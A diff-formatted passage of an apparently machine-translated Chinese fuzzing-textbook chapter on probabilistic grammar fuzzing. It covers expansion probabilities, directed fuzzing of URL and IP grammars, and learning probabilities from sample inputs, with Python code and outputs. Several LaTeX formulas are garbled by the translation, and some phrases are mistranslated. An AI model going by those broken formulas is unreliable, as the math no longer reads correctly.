+$$ S :: = a_1 \：| \：a_2 \：| \：\ dots \：| \：a_n \：| \：u_1 \：| \：u_2 \：| \：\ dots u_m $$
+
+其中$ n \ ge 0 $个备选方案$ a_i $，其概率$ p（a_i）$被指定为，$ m \ ge 0 $个备选方案$ u_j $，其概率$ p（u_j）$ 如果*未指定*，则“剩余”概率平均分布在所有$ u_j $上； 换一种说法，
+
+$$ p（u_j）= \ frac {1-\ sum_ {i = 0} ^ {n} p（a_i）} {m} $$
+
+如果未指定任何概率（$ n = 0 $），则所有扩展都具有相同的概率。
+
+概率的总和必须为1：
+
+$$ \ sum_ {i = 0} ^ {n} p（a_i）+ \ sum_ {j = 0} ^ {m} p（u_i）= 1 $$
+
+我们在分配概率的同时检查这些属性。
+
+函数`exp_probabilities()`返回规则中所有扩展到它们各自概率的映射。
+
+```py
+def exp_probabilities(expansions, nonterminal="<symbol>"):
+    probabilities = [exp_prob(expansion) for expansion in expansions]
+    prob_dist = prob_distribution(probabilities, nonterminal)
+
+    prob_mapping = {}
+    for i in range(len(expansions)):
+        expansion = exp_string(expansions[i])
+        prob_mapping[expansion] = prob_dist[i]
+
+    return prob_mapping
+
+```
+
+`exp_probabilities()`的要点在`prob_distribution()`中进行处理，它进行实际的检查和计算。
+
+```py
+def prob_distribution(probabilities, nonterminal="<symbol>"):
+    epsilon = 0.00001
+
+    number_of_unspecified_probabilities = probabilities.count(None)
+    if number_of_unspecified_probabilities == 0:
+        assert abs(sum(probabilities) - 1.0) < epsilon, \
+            nonterminal + ": sum of probabilities must be 1.0"
+        return probabilities
+
+    sum_of_specified_probabilities = 0.0
+    for p in probabilities:
+        if p is not None:
+            sum_of_specified_probabilities += p
+    assert 0 <= sum_of_specified_probabilities <= 1.0, \
+        nonterminal + ": sum of specified probabilities must be between 0.0 and 1.0"
+
+    default_probability = ((1.0 - sum_of_specified_probabilities)
+                           / number_of_unspecified_probabilities)
+    all_probabilities = []
+    for p in probabilities:
+        if p is None:
+            p = default_probability
+        all_probabilities.append(p)
+
+    assert abs(sum(all_probabilities) - 1.0) < epsilon
+    return all_probabilities
+
+```
+
+这是带注释的`<leaddigit>`元素的映射`exp_probabilities()`返回：
+
+```py
+print(exp_probabilities(PROBABILISTIC_EXPR_GRAMMAR["<leaddigit>"]))
+
+```
+
+```py
+{'1': 0.301, '2': 0.176, '3': 0.125, '4': 0.097, '5': 0.079, '6': 0.067, '7': 0.058, '8': 0.051, '9': 0.046}
+
+```
+
+如果没有注释扩展，则所有扩展都具有与我们之前的语法模糊检查器相同的选择可能性。
+
+```py
+print(exp_probabilities(PROBABILISTIC_EXPR_GRAMMAR["<digit>"]))
+
+```
+
+```py
+{'0': 0.1, '1': 0.1, '2': 0.1, '3': 0.1, '4': 0.1, '5': 0.1, '6': 0.1, '7': 0.1, '8': 0.1, '9': 0.1}
+
+```
+
+`exp_probabilities()`会在未注释的扩展中分配剩余的概率：
+
+```py
+exp_probabilities(PROBABILISTIC_EXPR_GRAMMAR["<expr>"])
+
+```
+
+```py
+{'<term> + <expr>': 0.1, '<term> - <expr>': 0.2, '<term>': 0.7}
+
+```
+
+### 检查概率
+
+我们可以使用`exp_probabilities()`的检查功能来检查概率语法的一致性：
+
+```py
+def is_valid_probabilistic_grammar(grammar, start_symbol=START_SYMBOL):
+    if not is_valid_grammar(grammar, start_symbol):
+        return False
+
+    for nonterminal in grammar:
+        expansions = grammar[nonterminal]
+        prob_dist = exp_probabilities(expansions, nonterminal)
+
+    return True
+
+```
+
+```py
+assert is_valid_probabilistic_grammar(PROBABILISTIC_EXPR_GRAMMAR)
+
+```
+
+```py
+assert is_valid_probabilistic_grammar(EXPR_GRAMMAR)
+
+```
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    assert is_valid_probabilistic_grammar({"<start>": [("1", opts(prob=0.5))]})
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-34-79503424e212>", line 2, in <module>
+    assert is_valid_probabilistic_grammar({"<start>": [("1", opts(prob=0.5))]})
+  File "<ipython-input-30-c1c25dbf0315>", line 7, in is_valid_probabilistic_grammar
+    prob_dist = exp_probabilities(expansions, nonterminal)
+  File "<ipython-input-25-9042a394542d>", line 3, in exp_probabilities
+    prob_dist = prob_distribution(probabilities, nonterminal)
+  File "<ipython-input-26-57a3f95cf4ed>", line 6, in prob_distribution
+    assert abs(sum(probabilities) - 1.0) < epsilon,             nonterminal + ": sum of probabilities must be 1.0"
+AssertionError: <start>: sum of probabilities must be 1.0 (expected)
+
+```
+
+```py
+with ExpectError():
+    assert is_valid_probabilistic_grammar(
+        {"<start>": [("1", opts(prob=1.5)), "2"]})
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-35-79fe851796f9>", line 3, in <module>
+    {"<start>": [("1", opts(prob=1.5)), "2"]})
+  File "<ipython-input-30-c1c25dbf0315>", line 7, in is_valid_probabilistic_grammar
+    prob_dist = exp_probabilities(expansions, nonterminal)
+  File "<ipython-input-25-9042a394542d>", line 3, in exp_probabilities
+    prob_dist = prob_distribution(probabilities, nonterminal)
+  File "<ipython-input-26-57a3f95cf4ed>", line 13, in prob_distribution
+    assert 0 <= sum_of_specified_probabilities <= 1.0,         nonterminal + ": sum of specified probabilities must be between 0.0 and 1.0"
+AssertionError: <start>: sum of specified probabilities must be between 0.0 and 1.0 (expected)
+
+```
+
+## 按概率[扩展](#Expanding-by-Probability)
+
+既然我们已经了解了如何为语法指定概率，那么我们实际上可以实现概率扩展。 在我们的`ProbabilisticGrammarFuzzer`中，重载一种方法`choose_node_expansion()`就足够了。 对于每个孩子，我们都可以选择（通常是符号的所有扩展），我们确定它们的概率（使用上面定义的`exp_probabilities()`），然后使用`random.choices()`和`weight`参数进行加权选择。
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+class ProbabilisticGrammarFuzzer(GrammarFuzzer):
+    def check_grammar(self):
+        super().check_grammar()
+        assert is_valid_probabilistic_grammar(self.grammar)
+
+    def supported_opts(self):
+        return super().supported_opts() | {'prob'}
+
+```
+
+```py
+class ProbabilisticGrammarFuzzer(ProbabilisticGrammarFuzzer):
+    def choose_node_expansion(self, node, possible_children):
+        (symbol, tree) = node
+        expansions = self.grammar[symbol]
+        probabilities = exp_probabilities(expansions)
+
+        weights = []
+        for child in possible_children:
+            expansion = all_terminals((node, child))
+            child_weight = probabilities[expansion]
+            if self.log:
+                print(repr(expansion), "p =", child_weight)
+            weights.append(child_weight)
+
+        if sum(weights) == 0:
+            # No alternative (probably expanding at minimum cost)
+            weights = None
+
+        return random.choices(
+            range(len(possible_children)), weights=weights)[0]
+
+```
+
+我们的概率语法模糊器的工作原理与非概率语法模糊器相同，只是它实际上尊重概率注释。 让我们生成几个遵循本福德定律的“自然”数：
+
+```py
+natural_fuzzer = ProbabilisticGrammarFuzzer(
+    PROBABILISTIC_EXPR_GRAMMAR, start_symbol="<leadinteger>")
+print([natural_fuzzer.fuzz() for i in range(20)])
+
+```
+
+```py
+['2588', '106', '10', '2', '7', '1', '95', '4', '192', '8', '2', '1', '1', '2', '2', '208', '1036', '5592', '157', '1442']
+
+```
+
+相反，这些数字是纯随机的：
+
+```py
+integer_fuzzer = GrammarFuzzer(
+    PROBABILISTIC_EXPR_GRAMMAR, start_symbol="<leadinteger>")
+print([integer_fuzzer.fuzz() for i in range(20)])
+
+```
+
+```py
+['3', '1', '56', '5', '408251024', '7', '27', '2', '9', '6456', '7', '32', '1', '4', '7', '19', '2', '6', '2', '5']
+
+```
+
+```py
+warning: option 'prob' is not supported
+
+```
+
+“自然”数字真的比随机数字更“自然”吗？ 为了表明`ProbabilisticGrammarFuzzer`确实遵守概率注释，让我们为前导数字创建一个特定的模糊器：
+
+```py
+leaddigit_fuzzer = ProbabilisticGrammarFuzzer(
+    PROBABILISTIC_EXPR_GRAMMAR, start_symbol="<leaddigit>")
+leaddigit_fuzzer.fuzz()
+
+```
+
+```py
+'8'
+
+```
+
+如果我们生成数千个导数位，则它们的分布应再次遵循本福德定律：
+
+```py
+trials = 10000
+
+count = {}
+for c in crange('0', '9'):
+    count[c] = 0
+
+for i in range(trials):
+    count[leaddigit_fuzzer.fuzz()] += 1
+
+print([(digit, count[digit] / trials) for digit in count])
+
+```
+
+```py
+[('0', 0.0), ('1', 0.3003), ('2', 0.1756), ('3', 0.1222), ('4', 0.0938), ('5', 0.0816), ('6', 0.0651), ('7', 0.06), ('8', 0.0537), ('9', 0.0477)]
+
+```
+
+Quod erat示范！ 该分布几乎完全与最初指定的一样。 现在，我们有了一个模糊器，可以在其中通过指定概率来进行控制。
+
+## 定向模糊
+
+将概率分配给各个扩展可让我们很好地控制应生成哪些输入。 通过明智地选择概率，我们可以将模糊化指向特定的功能和特性-例如，针对特别关键，容易出现故障或最近已更改的功能。
+
+例如，请考虑语法的[一章中的URL语法。 让我们假设我们刚刚更改了安全FTP协议的实现。 通过为`ftps`方案分配更高的可能性，我们可以生成更多将专门测试此功能的URL。](Grammars.html)
+
+首先，让我们定义一个设置特定选项的辅助函数：
+
+这是专门针对概率的专业化：
+
+```py
+def set_prob(grammar, symbol, expansion, prob):
+    """Set the probability of the given expansion of grammar[symbol]"""
+    set_opts(grammar, symbol, expansion, opts(prob=prob))
+
+```
+
+让我们使用`set_prob()`赋予`ftps`扩展80％的概率：
+
+```py
+from [Grammars](Grammars.html) import URL_GRAMMAR, extend_grammar
+
+```
+
+```py
+probabilistic_url_grammar = extend_grammar(URL_GRAMMAR)
+set_prob(probabilistic_url_grammar, "<scheme>", "ftps", 0.8)
+assert is_valid_probabilistic_grammar(probabilistic_url_grammar)
+
+```
+
+```py
+probabilistic_url_grammar["<scheme>"]
+
+```
+
+```py
+['http', 'https', 'ftp', ('ftps', {'prob': 0.8})]
+
+```
+
+如果我们将此语法用于模糊测试，则会得到大量的`ftps:`前缀：
+
+```py
+prob_url_fuzzer = ProbabilisticGrammarFuzzer(probabilistic_url_grammar)
+for i in range(10):
+    print(prob_url_fuzzer.fuzz())
+
+```
+
+```py
+ftps://cispa.saarland:80
+ftps://user:password@cispa.saarland/
+ftps://fuzzingbook.com/abc
+ftps://fuzzingbook.com/x48
+ftps://user:password@fuzzingbook.com/
+ftps://www.google.com:2?x18=8
+ftps://user:password@www.google.com:6
+ftps://user:password@cispa.saarland/def
+ftps://user:password@cispa.saarland/def?def=52
+ftps://user:password@cispa.saarland/
+
+```
+
+同样，我们可以将URL生成定向到特定的主机或端口。 我们可以使用带有查询，片段或登录名的URL，或者不包含这些的URL。 要做的只是设置适当的概率。
+
+通过将扩展的可能性设置为零，我们可以有效地禁用特定的扩展：
+
+```py
+set_prob(probabilistic_url_grammar, "<scheme>", "ftps", 0.0)
+assert is_valid_probabilistic_grammar(probabilistic_url_grammar)
+
+```
+
+```py
+prob_url_fuzzer = ProbabilisticGrammarFuzzer(probabilistic_url_grammar)
+for i in range(10):
+    print(prob_url_fuzzer.fuzz())
+
+```
+
+```py
+ftp://user:password@cispa.saarland/x00
+https://user:password@www.google.com/?def=6&def=x18&def=def
+https://user:password@fuzzingbook.com:7/?def=abc
+https://user:password@www.google.com:8080/
+ftp://www.google.com/?abc=36&x34=5
+http://user:password@cispa.saarland/
+https://www.google.com/
+https://user:password@www.google.com:85/?def=18
+http://user:password@www.google.com:80/
+http://fuzzingbook.com:80/?abc=def
+
+```
+
+请注意，即使我们将展开的可能性设置为零，也可能会看到展开的情况。 当扩展以最低成本关闭时，这可能会在语法模糊器的[的“关闭”阶段发生。 在此阶段，如果需要关闭扩展，则将采取“零”概率的扩展。](GrammarFuzzer.html)
+
+让我们使用表达式语法中的`<expr>`规则来说明此功能：
+
+```py
+from [Grammars](Grammars.html) import EXPR_GRAMMAR
+
+```
+
+```py
+probabilistic_expr_grammar = extend_grammar(EXPR_GRAMMAR)
+probabilistic_expr_grammar["<expr>"]
+
+```
+
+```py
+['<term> + <expr>', '<term> - <expr>', '<term>']
+
+```
+
+如果将`<term>`扩展的概率设置为零，则字符串应一次又一次扩展。
+
+```py
+set_prob(probabilistic_expr_grammar, "<expr>", "<term>", 0.0)
+assert is_valid_probabilistic_grammar(probabilistic_expr_grammar)
+
+```
+
+不过，在“关闭”阶段，子表达式最终将扩展为`<term>`，因为这是关闭扩展的唯一方法。 跟踪`choose_node_expansion()`显示仅使用一个可能的扩展`<term>`调用了该扩展，即使其指定的概率为零，也必须执行该扩展。
+
+```py
+prob_expr_fuzzer = ProbabilisticGrammarFuzzer(probabilistic_expr_grammar)
+prob_expr_fuzzer.fuzz()
+
+```
+
+```py
+'44 / 7 / 1 * 3 / 6 - +1.63 + 3 * 7 + 1 - 2'
+
+```
+
+## 上下文中的概率
+
+虽然指定的概率为我们提供了控制多长时间进行一次扩展的方法，但仅凭这种控制可能还不够。 例如，请考虑以下IPv4地址语法：
+
+```py
+def decrange(start, end):
+    """Return a list with string representations of numbers in the range [start, end)"""
+    return [repr(n) for n in range(start, end)]
+
+```
+
+```py
+IP_ADDRESS_GRAMMAR = {
+    "<start>": ["<address>"],
+    "<address>": ["<octet>.<octet>.<octet>.<octet>"],
+    # ["0", "1", "2", ..., "255"]
+    "<octet>": decrange(0, 256)
+}
+
+```
+
+```py
+print(IP_ADDRESS_GRAMMAR["<octet>"][:20])
+
+```
+
+```py
+['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19']
+
+```
+
+```py
+assert is_valid_grammar(IP_ADDRESS_GRAMMAR)
+
+```
+
+我们可以轻松地使用以下语法创建IP地址：
+
+```py
+ip_fuzzer = ProbabilisticGrammarFuzzer(IP_ADDRESS_GRAMMAR)
+ip_fuzzer.fuzz()
+
+```
+
+```py
+'34.155.77.136'
+
+```
+
+但是，如果我们要为四个八位位组之一分配特定的概率，那我们就不走运了。 我们所能做的就是为所有四个八位位组分配相同的概率分布：
+
+```py
+probabilistic_ip_address_grammar = extend_grammar(IP_ADDRESS_GRAMMAR)
+set_prob(probabilistic_ip_address_grammar, "<octet>", "127", 0.8)
+
+```
+
+```py
+probabilistic_ip_fuzzer = ProbabilisticGrammarFuzzer(
+    probabilistic_ip_address_grammar)
+probabilistic_ip_fuzzer.fuzz()
+
+```
+
+```py
+'127.127.127.127'
+
+```
+
+如果我们要为四个八位位组分别分配*个不同的*个概率，我们该怎么做？
+
+答案在于*上下文*的概念，我们在讨论覆盖范围驱动的模糊器时已经看到了[。 与覆盖驱动的模糊测试一样，其思想是*复制*元素，我们希望根据其上下文设置其概率。 在我们的情况下，这意味着将`<octet>`元素复制为四个单独的元素，然后每个元素都可以获得单独的概率分布。 我们可以使用`duplicate_context()`方法以编程方式执行此操作：](GrammarCoverageFuzzer.html)
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import duplicate_context  # minor dependency
+
+```
+
+```py
+probabilistic_ip_address_grammar = extend_grammar(IP_ADDRESS_GRAMMAR)
+duplicate_context(probabilistic_ip_address_grammar, "<address>")
+
+```
+
+```py
+probabilistic_ip_address_grammar["<address>"]
+
+```
+
+```py
+['<octet-1>.<octet-2>.<octet-3>.<octet-4>']
+
+```
+
+现在，我们可以为每个`<octet>`符号分配不同的概率。 例如，我们可以通过将特定扩展的概率设置为100％来强制执行特定扩展：
+
+```py
+set_prob(probabilistic_ip_address_grammar, "<octet-1>", "127", 1.0)
+set_prob(probabilistic_ip_address_grammar, "<octet-2>", "0", 1.0)
+
+```
+
+```py
+assert is_valid_probabilistic_grammar(probabilistic_ip_address_grammar)
+
+```
+
+其余两个八位位组`<octet-3>`和`<octet-4>`没有设置特定的概率。 在模糊测试期间，它们的所有扩展（所有八位位组）仍然可用：
+
+```py
+probabilistic_ip_fuzzer = ProbabilisticGrammarFuzzer(
+    probabilistic_ip_address_grammar)
+[probabilistic_ip_fuzzer.fuzz() for i in range(5)]
+
+```
+
+```py
+['127.0.201.77',
+ '127.0.98.36',
+ '127.0.12.232',
+ '127.0.146.161',
+ '127.0.245.151']
+
+```
+
+就像覆盖率一样，我们可以经常任意地复制语法规则，从而获得对概率的越来越细粒度的控制。 但是，这种更细粒度的控制也以必须维护这些概率为代价。 因此，在下一部分中，我们将讨论自动分配和调整此类概率的方法。
+
+## 从样本中学习概率
+
+不必始终手动设置概率。 还可以从其他来源*来学习*，特别是通过计算*在给定的一组输入*中单个扩展出现的频率。 这在许多情况下很有用，包括：**
+
+1.  测试*的常见*功能。 这个想法是，在测试过程中，可能需要首先关注经常发生（或经常使用）的功能，以确保最常见用法的正确功能。
+2.  测试*不常见的*功能。 这里的想法是让测试生成集中于输入中很少看到（或根本看不到）的功能。 这与[语法覆盖率](GrammarCoverageFuzzer.html)相同，但从概率的角度来看。
+3.  专注于特定的*切片*。 可能会有一组特别令人感兴趣的输入（例如，因为它们具有关键功能，或者最近发现了错误）。 使用这种学习到的分布进行模糊测试，可以使*专注于*精确地关注这些感兴趣的功能。
+
+让我们首先介绍计数扩展和学习概率，然后详细介绍这些方案。
+
+### 计算扩展
+
+我们首先实现一种获取一组输入并确定该组扩展数量的方法。 为此，我们需要在上一章中介绍的*解析器*来将字符串输入转换为派生树。 对于我们的IP地址语法，这是这样工作的：
+
+```py
+from [Parser](Parser.html) import Parser, EarleyParser, PEGParser
+
+```
+
+```py
+IP_ADDRESS_TOKENS = {"<octet>"}  # EarleyParser needs explicit tokens
+
+```
+
+```py
+parser = EarleyParser(IP_ADDRESS_GRAMMAR)
+
+```
+
+```py
+tree, *_ = parser.parse("127.0.0.1")
+display_tree(tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 303.00 176.00" width="303pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147.5" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147.5" y="-105.8"><address></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21.5" y="-54.8"><octet></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="63.5" y="-54.8">.</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="105.5" y="-54.8"><octet></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147.5" y="-54.8">.</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="189.5" y="-54.8"><octet></text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="231.5" y="-54.8">.</text></g> <g class="edge" id="edge10"><title>1->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="273.5" y="-54.8"><octet></text></g> <g class="edge" id="edge11"><title>1->11</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21.5" y="-3.8">127</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="105.5" y="-3.8">0</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="189.5" y="-3.8">0</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="273.5" y="-3.8">1</text></g> <g class="edge" id="edge12"><title>11->12</title></g></g></svg>
+
+在像这样的树中，我们现在可以*数*个单个扩展。 例如，在上面的树中，我们将`<octet>`扩展为`0`，一次扩展为`1`，另一次扩展为`127`。 换句话说，将`<octet>`扩展为`0`占全部可见扩展的50％； `127`和`1`的扩展分别占25％，其他扩展为0％。 这些是我们希望分配给“学习的”语法的概率。
+
+我们引入了`ExpansionCountMiner`类，该类允许我们计算单个扩展的发生频率。 它的初始化方法采用解析器（例如`EarleyParser`），该解析器将使用适当的语法进行初始化。
+
+```py
+class ExpansionCountMiner(object):
+    def __init__(self, parser, log=False):
+        assert isinstance(parser, Parser)
+        self.grammar = extend_grammar(parser.grammar())
+        self.parser = parser
+        self.log = log
+        self.reset()
+
+```
+
+属性`expansion_counts`包含看到的扩展； 用`add_tree()`添加一棵树会遍历给定的树，并添加所有可见的扩展。
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import expansion_key  # minor dependency
+
+```
+
+```py
+from [Grammars](Grammars.html) import is_nonterminal
+
+```
+
+```py
+class ExpansionCountMiner(ExpansionCountMiner):
+    def reset(self):
+        self.expansion_counts = {}
+
+    def add_coverage(self, symbol, children):
+        key = expansion_key(symbol, children)
+
+        if self.log:
+            print("Found", key)
+
+        if key not in self.expansion_counts:
+            self.expansion_counts[key] = 0
+        self.expansion_counts[key] += 1
+
+    def add_tree(self, tree):
+        (symbol, children) = tree
+        if not is_nonterminal(symbol):
+            return
+
+        direct_children = [
+            (symbol, None) if is_nonterminal(symbol) else (
+                symbol, []) for symbol, c in children]
+        self.add_coverage(symbol, direct_children)
+
+        for c in children:
+            self.add_tree(c)
+
+```
+
+`count_expansions()`方法是面向公众的方法； 它获取输入列表，解析它们，并处理生成的树。 方法`counts()`返回找到的计数。
+
+```py
+class ExpansionCountMiner(ExpansionCountMiner):
+    def count_expansions(self, inputs):
+        for inp in inputs:
+            tree, *_ = self.parser.parse(inp)
+            self.add_tree(tree)
+
+    def counts(self):
+        return self.expansion_counts
+
+```
+
+让我们在IP地址语法中尝试一下。 我们为我们的IP地址语法创建一个`ExpansionCountMiner`：
+
+```py
+expansion_count_miner = ExpansionCountMiner(EarleyParser(IP_ADDRESS_GRAMMAR))
+
+```
+
+我们解析一组（小）IP地址并计算发生的扩展：
+
+```py
+expansion_count_miner.count_expansions(["127.0.0.1", "1.2.3.4"])
+expansion_count_miner.counts()
+
+```
+
+```py
+{'<start> -> <address>': 2,
+ '<address> -> <octet>.<octet>.<octet>.<octet>': 2,
+ '<octet> -> 127': 1,
+ '<octet> -> 0': 2,
+ '<octet> -> 1': 2,
+ '<octet> -> 2': 1,
+ '<octet> -> 3': 1,
+ '<octet> -> 4': 1}
+
+```
+
+您会看到我们有一个扩展到`127`，另外两个扩展到`0`。 这些是我们可以用来分配概率的计数。
+
+### 分配概率
+
+由`ExpansionCountMiner`确定的计数分布是我们可以用来将概率分配给语法的方法。 为此，我们引入了一个子类`ProbabilisticGrammarMiner`，其方法`set_expansion_probabilities()`处理给定符号的所有扩展，检查它是否出现在给定的计数分布中，并使用以下公式分配概率。
+
+给定一组导出树（从样本中提取），我们确定符号$ S \ rightarrow a_1 |的每个替代$ a_i $的概率$ p_i $。 \ dots | a_n $为
+
+$$ p_i = \ frac {\ text {$ T的扩展\ rightarrow a_i $ in $ T $}} {\ text {$ S $的扩展$ T $}} $$
+
+如果$ S $在$ T $中根本不出现，则$ p_i $为*未指定*。
+
+这是`set_expansion_probabilities()`的实现，实现上述公式：
+
+```py
+class ProbabilisticGrammarMiner(ExpansionCountMiner):
+    def set_probabilities(self, counts):
+        for symbol in self.grammar:
+            self.set_expansion_probabilities(symbol, counts)
+
+    def set_expansion_probabilities(self, symbol, counts):
+        expansions = self.grammar[symbol]
+        if len(expansions) == 1:
+            set_prob(self.grammar, symbol, expansions[0], None)
+            return
+
+        expansion_counts = [
+            counts.get(
+                expansion_key(
+                    symbol,
+                    expansion),
+                0) for expansion in expansions]
+        total = sum(expansion_counts)
+        for i, expansion in enumerate(expansions):
+            p = expansion_counts[i] / total if total > 0 else None
+            # if self.log:
+            #     print("Setting", expansion_key(symbol, expansion), p)
+            set_prob(self.grammar, symbol, expansion, p)
+
+```
+
+`ProbabilisticGrammarMiner`的典型用法是通过`mine_probabilistic_grammar()`使用，它首先根据一组输入确定分布，然后相应地设置概率。
+
+```py
+class ProbabilisticGrammarMiner(ProbabilisticGrammarMiner):
+    def mine_probabilistic_grammar(self, inputs):
+        self.count_expansions(inputs)
+        self.set_probabilities(self.counts())
+        return self.grammar
+
+```
+
+让我们使用它。 我们为IP地址创建一个语法挖掘器：
+
+```py
+probabilistic_grammar_miner = ProbabilisticGrammarMiner(
+    EarleyParser(IP_ADDRESS_GRAMMAR))
+
+```
+
+现在，我们使用`mine_probabilistic_grammar()`挖掘语法：
+
+```py
+probabilistic_ip_address_grammar = probabilistic_grammar_miner.mine_probabilistic_grammar([
+                                                                                          "127.0.0.1", "1.2.3.4"])
+
+```
+
+```py
+assert is_valid_probabilistic_grammar(probabilistic_ip_address_grammar)
+
+```
+
+这是语法中八位位组的结果分布：
+
+```py
+[expansion for expansion in probabilistic_ip_address_grammar['<octet>']
+    if exp_prob(expansion) > 0]
+
+```
+
+```py
+[('0', {'prob': 0.25}),
+ ('1', {'prob': 0.25}),
+ ('2', {'prob': 0.125}),
+ ('3', {'prob': 0.125}),
+ ('4', {'prob': 0.125}),
+ ('127', {'prob': 0.125})]
+
+```
+
+如果使用这些概率进行模糊测试，则将获得与示例中相同的八位位组分布：
+
+```py
+probabilistic_ip_fuzzer = ProbabilisticGrammarFuzzer(
+    probabilistic_ip_address_grammar)
+[probabilistic_ip_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['4.2.2.0',
+ '2.1.4.0',
+ '0.1.3.127',
+ '0.3.0.127',
+ '4.0.2.1',
+ '3.127.0.0',
+ '2.2.1.1',
+ '4.0.1.0',
+ '2.4.0.1',
+ '0.0.3.127']
+
+```
+
+通过从样本中学习，我们可以针对该样本的（语法）特性调整模糊度。
+
+### 测试通用功能
+
+现在让我们进入三种使用场景。 第一种情况是直接从样本中创建概率分布，并在测试生成过程中使用这些分布。 这有助于将测试生成的重点放在最常用的 **上，从而最大程度地降低了客户遇到故障的风险。**
+
+为了说明常见功能的测试，我们选择URL域。 让我们假设我们正在运行一些与Web相关的服务，这是客户最常访问的URL的示例：
+
+```py
+URL_SAMPLE = [
+    "https://user:password@cispa.saarland:80/",
+    "https://fuzzingbook.com?def=56&x89=3&x46=48&def=def",
+    "https://cispa.saarland:80/def?def=7&x23=abc",
+    "https://fuzzingbook.com:80/",
+    "https://fuzzingbook.com:80/abc?def=abc&abc=x14&def=abc&abc=2&def=38",
+    "ftps://fuzzingbook.com/x87",
+    "https://user:password@fuzzingbook.com:6?def=54&x44=abc",
+    "http://fuzzingbook.com:80?x33=25&def=8",
+    "http://fuzzingbook.com:8080/def",
+]
+
+```
+
+使用关于解析器的[一章的Earley解析器，我们可以将这些输入中的任何一个解析为一个解析树。 不过，我们必须指定一个令牌集。](Parser.html)
+
+```py
+URL_TOKENS = {"<scheme>", "<userinfo>", "<host>", "<port>", "<id>"}
+
+```
+
+```py
+url_parser = EarleyParser(URL_GRAMMAR, tokens=URL_TOKENS)
+url_input = URL_SAMPLE[2]
+print(url_input)
+tree, *_ = url_parser.parse(url_input)
+display_tree(tree)
+
+```
+
+```py
+https://cispa.saarland:80/def?def=7&x23=abc
+
+```
+
+<svg height="380pt" viewBox="0.00 0.00 469.50 380.00" width="470pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 376)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="140" y="-360.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="140" y="-309.8"><url></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29" y="-258.8"><scheme></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="82" y="-258.8">://</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="140" y="-258.8"><authority></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="212" y="-258.8"><path></text></g> <g class="edge" id="edge11"><title>1->11</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="277" y="-258.8"><query></text></g> <g class="edge" id="edge15"><title>1->15</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29" y="-207.8">https</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="85" y="-207.8"><host></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" 